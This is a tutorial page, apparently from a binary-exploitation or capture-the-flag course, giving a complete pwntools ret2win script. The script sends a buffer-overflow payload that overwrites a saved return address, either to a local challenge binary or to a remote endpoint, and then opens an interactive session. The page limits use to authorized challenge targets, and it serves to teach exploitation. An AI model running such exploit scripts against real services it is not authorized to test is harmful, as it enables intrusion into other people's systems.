Complete local and remote script
Use this as the final step after the exploit works locally. The script below uses process() by default and switches to remote(host, port) only when REMOTE is passed. Pwntools’ remote() returns a tube, so the same send/receive methods work with either transport. See the official remote tube reference.
Before connecting
Section titled “Before connecting”- Use only the endpoint supplied for a challenge or another service you are authorized to test.
- Keep a local copy of the exact target binary. The script reads the
winsymbol from that file; the address is only reusable remotely when the remote binary has the same build and address layout. - Measure
OFFSETwith the saved-return offset walkthrough. Do not copy the placeholder number without measuring your binary. - Replace
PROMPTwith the exact prompt bytes. If the service reads immediately without a prompt, set it toNone. - This simple ret2win script assumes a non-PIE binary. A PIE target needs its runtime base first; a remote libc exploit needs the libc matching the service.
Run it
Section titled “Run it”python3 exploit.pypython3 exploit.py REMOTE HOST=challenge.example PORT=31337python3 exploit.py REMOTE HOST=challenge.example PORT=31337 SSL=1The first command starts the local binary. The second connects over TCP. Add SSL=1 only when the challenge explicitly provides TLS.
Complete script
Section titled “Complete script”Save as exploit.py beside the local challenge binary, then replace OFFSET and PROMPT with the measured values for that binary and service.
#!/usr/bin/env python3from pwn import *
BINARY = "./chall"OFFSET = 72 # replace with the measured saved-return offsetPROMPT = b"> " # exact prompt bytes, or None if there is no promptWIN_ADDRESS = None # set to the verified address if the ELF is stripped
context.log_level = "info"context.timeout = 5context.binary = elf = ELF(BINARY, checksec=False)
if elf.pie: log.error("This template needs a non-PIE target; resolve the PIE base first")
if WIN_ADDRESS is None: if "win" not in elf.symbols: log.error("Set WIN_ADDRESS to the verified address for this build") WIN_ADDRESS = elf.symbols["win"]
def start(): if args.REMOTE: if not args.HOST or not args.PORT: log.error("Remote mode needs HOST and PORT") host = args.HOST port = int(args.PORT) use_tls = bool(args.SSL) log.info("Connecting to %s:%d (TLS=%s)", host, port, use_tls) return remote(host, port, ssl=use_tls)
log.info("Starting local process: %s", elf.path) return process(elf.path)
def main(): io = start() payload = flat({OFFSET: WIN_ADDRESS})
log.info("win address: %#x", WIN_ADDRESS) log.info("payload length: %d bytes", len(payload)) log.debug("payload:\n%s", hexdump(payload))
if PROMPT is None: io.sendline(payload) else: io.sendlineafter(PROMPT, payload)
io.interactive()
if __name__ == "__main__": main()If the target prints output instead of opening an interactive shell, replace io.interactive() with an appropriate receive call such as print(io.recvall(timeout=2)). If the endpoint closes before the send, compare the service prompt and protocol with the local run before changing the payload.